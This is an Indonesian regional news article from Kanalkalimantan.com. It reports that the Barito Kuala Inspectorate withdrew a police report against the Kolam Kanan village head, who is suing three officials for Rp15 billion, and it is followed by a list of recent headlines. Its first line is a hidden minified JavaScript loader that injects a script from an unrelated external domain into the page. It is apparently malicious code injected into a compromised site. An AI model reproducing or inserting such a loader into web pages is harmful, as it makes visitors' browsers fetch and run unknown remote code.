(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Barito Kuala

Kasus Gugatan Kades Kolam Kanan, Inspektorat Batola Tiba-tiba Keluarkan Surat Pencabutan


KANALKALIMANTAN.COM, MARABAHAN – Keputusan mengejutkan dikeluarkan oleh Inspektorat Kabuoaten Barito Kuala (Batola) di tengah gugatan Kepala Desa (Kades) Kolam Kanan, Kecamatan Wanaraya, yang masih bergulir di Pengadilan Negeri (PN) Marabahan.

Melalui surat pencabutan laporan kepolisian yang diperoleh Kanalkalimantan.com, Selasa (25/7/2023) siang, H Ismed Zulfikar SH selaku Inspektur Inspektorat Kabupaten Batola menarik kembali laporan terkait hasil pemeriksaan khusus atas Desa Kolam Kanan.

Laporan yang dilimpahkan Inspektorat Batola sebelumnya yaitu hasil pemeriksaan khusus/LHP kasus pengaduan masyarakat mengenai mosi tidak percaya kepada Kades Kolam Kanan yang telah dilaporkan ke Polres Batola.

“Kami atas nama inspektorat Kabupaten Batola selaku pelapor mencabut/menarik kembali atas laporan khsusus Desa Kolam Kanan Kecamatan Wanaraya yang telah kami laporkan ke Polres Batola,” isi surat Inspektorat Batola yang ditandatangani oleh Inspektur H Ismed Zulfikar.

Baca juga: Kakek Meninggal Terkepung Api, Polisi Ungkap Dugaan Penyebab Kebakaran di Landasan Ulin 

Surat yang dilampiri revisi LHP dan bukti penyetoran tersebut juga telah diterima Polres Batola dengan tandatangan penerima tertulis Bripda M Noor Dumyatmoko SH dengan NRP 86031659.

Adapun alasan dicabutnya laporan tersebut dalam isi surat disebutkan setelah dilakukan penelisikan dokumen ditemukan kesalahan dalam analisa perhitungan.

Kemudian pihak terlapor yaitu Endang Sudrajat selaku Kades Kolam Kanan dikatakan telah memenuhi rekomendasi yang diperintahkan, meskipun tidak keseluruhan.

“Kami menanggap pihak yang dilaporkan memiliki i’tikad baik guna dalam penyelesaian rekomendasi yang diminta. Maka kami anggap rekomendasi atas laporan bisa diselesaikan,” tutup surat yang dikeluarkan Inspektorat Batola tersebut.

Baca juga: Waspada Antraks, Ini Imbauan Kadinkes Pulang Pisau

Sementara itu, persidangan gugatan perdata dengan tiga orang tergugat yaitu Kepala Inspektorat Batola Ismed Zulfikar, Kepala Dinas Pemberdayaan Masyarakat dan Desa (DPMD) Kabupaten Batola Moch Aziz Choli, serta Asisten Bidang Pemerintahan dan Kesra Setdakab Batola Suyud Sugiono.

Tidak tanggung-tanggung, penggugat Kades Kolam Kanan Endang Sudrajat dalam petitum gugatan mengajukan tuntutan ganti rugi sebesar Rp15 miliar.

Selain itu, Endang meminta untuk dipulihkan nama baiknya sebagai Kades Kolam Kanan. Sebab, sebelumnya ia merasa nama baiknya dicemarkan oleh ketiga instansi tergugat.

Sidang putusan gugatan nomor register 16/Pdt.G/2022/PN Mrh berkaitan dugaan melawan hukum tersebut rencananya akan digelar pada tanggal 26 Juli 2023,

Kuasa hukum penggugat Pazri mengatakan pihaknya berharap agar sidang pembacaan putusan tidak lagi dilakukan penundaan, sebab harusnya pembacaan putusan dijadwalkan pada 12 Juli 2023, sebelum ditunda ke 26 Juli 2023.

Baca juga: Jejak Kasus Rafael Alun, Deposit Safe Box Rp500 M hingga Cuci Uang dari Panti Pijat

“Pengadilan kan menggunakan asas peradilan cepat, kalau ada penundaan nanti ada asumsi melebar ada apa gerangan,” kata kuasa hukum tergugat dari LBH Borneo Nusantara ditemui di Banjarmasin, Selasa (25/7/2023) siang.

Pazri menegaskan tuntutan materil yang diajukan bukan tanpa alasan, sebab kliennya selaku Kades Kolam Kanan mengalami hambatan dalam menjalankan pemerintahan desa karena dana dari pemerintah dipangkas dan bahkan ditahan operasionalnya.

‘Dana pribadinya keluar untuk berkorban kepada masyarakat menjalankan pemerintahan desa. Sampai klien kami minjam ke bank, itu bisa dibuktikan,” ujarnya.

Selain mengalami kerugian materil, Pazri juga menegaskan jika nama baik kliennya sempat tercemar. Oleh karena itu pihaknya berharap majelis hakim PN Marabahan dapat mengabulkan petitum pengembangan harkat martabat penggugat.

“Mengembalikan harkat dan martabat klien kami, ini yang paling penting,” pungkasnya. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Anggota TNI AL J Ditahan Resmi Tersangka, Kasus Pembunuhan Jurnalis Juwita Terus Berjalan

KANALKALIMANTAN.COM, BANJARMASIN - Terduga pelaku pembunuhan wartawati media online di Banjarbaru, Juwita baru saja resmi… Read More

1 jam ago

Alat Bukti Mobil yang Digunakan untuk Eksekusi Juwita Terparkir di Denpom Lanal Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Proses penyidikan kasus kematian wartawati media daring di Banjarbaru, Juwita, yang dibunuh… Read More

20 jam ago

Upayakan Partisipasi Pemilih dalam PSU Banjarbaru Meningkat, KPU Kalsel Pasang Spanduk

KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan terus berupaya meningkatkan partisipasi pemilih… Read More

2 hari ago

Dilantik Serentak, Jajaran Badan Adhoc untuk PSU di Banjarbaru Resmi Bekerja

KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan resmi melantik ribuan anggota Badan… Read More

2 hari ago

Libur Idulfitri, Pelanggan PTAM Intan Banjar Bisa Bayar Tagihan Lewat SMS Banking, ATM Bank, atau Layanan Pembayaran Online

KANALKALIMANTAN.COM, BANJARBARU - Sehubungan dengan libur hari besar pada akhir Maret dan awal April 2025… Read More

2 hari ago

H Muhammad Wiyatno Bersama Warga Kehangatan di Open House Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Rumah Jabatan (Rujab) Bupati Kapuas di Jalan Jenderal Sudirman, menjadi pusat… Read More

2 hari ago